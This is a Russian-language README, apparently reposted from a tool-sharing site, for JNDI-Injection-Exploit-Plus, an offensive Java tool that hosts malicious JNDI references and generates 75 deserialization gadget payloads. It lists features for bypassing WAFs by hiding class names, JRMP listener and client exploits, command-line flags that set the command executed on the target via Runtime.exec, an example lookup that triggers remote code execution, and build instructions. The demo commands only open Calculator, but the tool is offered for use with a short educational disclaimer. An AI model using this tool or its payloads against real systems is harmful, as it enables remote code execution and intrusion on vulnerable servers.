Что ещё добавлено

1. Больше удалённых JNDI-гаджетов (всего: 3)

• Поддержка JDK 6/7/8

2. Больше локальных JNDI-гаджетов (всего: 4)

3. Гаджеты десериализации (всего: 75)

P.S. Гаджетов больше ( ⬆️ ), чем в ysoserial. Приветствуются PR с новыми! ^_^

4. Генерация и экспорт полезных нагрузок

Как в ysoserial.

Вы можете создавать полезные нагрузки десериализации с выводом в формате Base64 или HEX.

5. Обёртки

Некоторые обёртки для упаковки данных десериализации.

• Пример

6. Слияние

Сокрытие имени класса для обхода WAF.

• Пример

Ссылка: https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html

Веб-сервис для возврата десериализационных гаджетов

P.S. Параметры wrapper и output необязательны.

Использование

JNDI-ссылки

Запуск:

Где:

• -C — команда, выполняемая в удалённом class-файле.

  (необязательно, по умолчанию "open /Applications/Calculator.app")

• -A — адрес вашего сервера, может быть IP-адресом или доменом.

  (необязательно, по умолчанию адрес первого сетевого интерфейса)

Обратите внимание:

• Убедитесь, что порты вашего сервера (1099, 1389, 8180) доступны.

  Или вы можете изменить порты по умолчанию в классе run.ServerStart.

• Ваша команда передаётся в Runtime.getRuntime().exec() в качестве параметров,

  поэтому убедитесь, что ваша команда работоспособна внутри метода exec().

  Команды в стиле bash, например "bash -c ....", необходимо заключать в двойные кавычки.

Полезные нагрузки десериализации

Запуск:

Где:

• -C — команда, выполняемая в удалённом class-файле.

  (необязательно, по умолчанию "open /Applications/Calculator.app")

• -D — имя полезной нагрузки десериализационного гаджета.

• -O — (необязательно) тип вывода десериализации, по умолчанию base64

Эксплоиты десериализации

JRMP

• JRMPListener

• JRMPClient

Примеры

JNDI-ссылки

Локальная демонстрация:

1. Запустите инструмент следующим образом:

   root@kitploit:~

   $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
   

   Скриншот:

   

2. Предположим, мы внедряем JNDI-ссылку, например rmi://ADDRESS/remoteExploit8, сгенерированную на шаге 1, в уязвимое приложение, которое можно атаковать с помощью JNDI-инъекции.

   В этом примере это выглядит так:

   root@kitploit:~

   class Test{
       public static void main(String[] args) throws Exception{
           InitialContext ctx = new InitialContext();
           ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
       }
   }
   

   После запуска этого кода команда выполнится,

   а в консоли будет выведен лог:

   

Другие примеры: Test-JNDI-Injection-Exploit-Plus

Полезные нагрузки десериализации

Результат в формате Base64:

Установка

Вы можете выбрать один из двух способов получения jar-файла.

1. Скачайте последний jar из Релизов.

2. Клонируйте исходный код локально и соберите (требуется Java 1.8+ и Maven 3.x+).

   root@kitploit:~

   $ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
   

   root@kitploit:~

   $ cd JNDI-Injection-Exploit-Plus
   

   root@kitploit:~

   $ mvn clean package -DskipTests
   

P.S. ‼️ Если вы получили ошибку вида "java.rmi.xxx does not exists", установите переменную окружения JAVA_HOME.

Отказ от ответственности

Вся информация и код предоставляются исключительно в образовательных целях и/или для тестирования ваших собственных систем на наличие этих уязвимостей.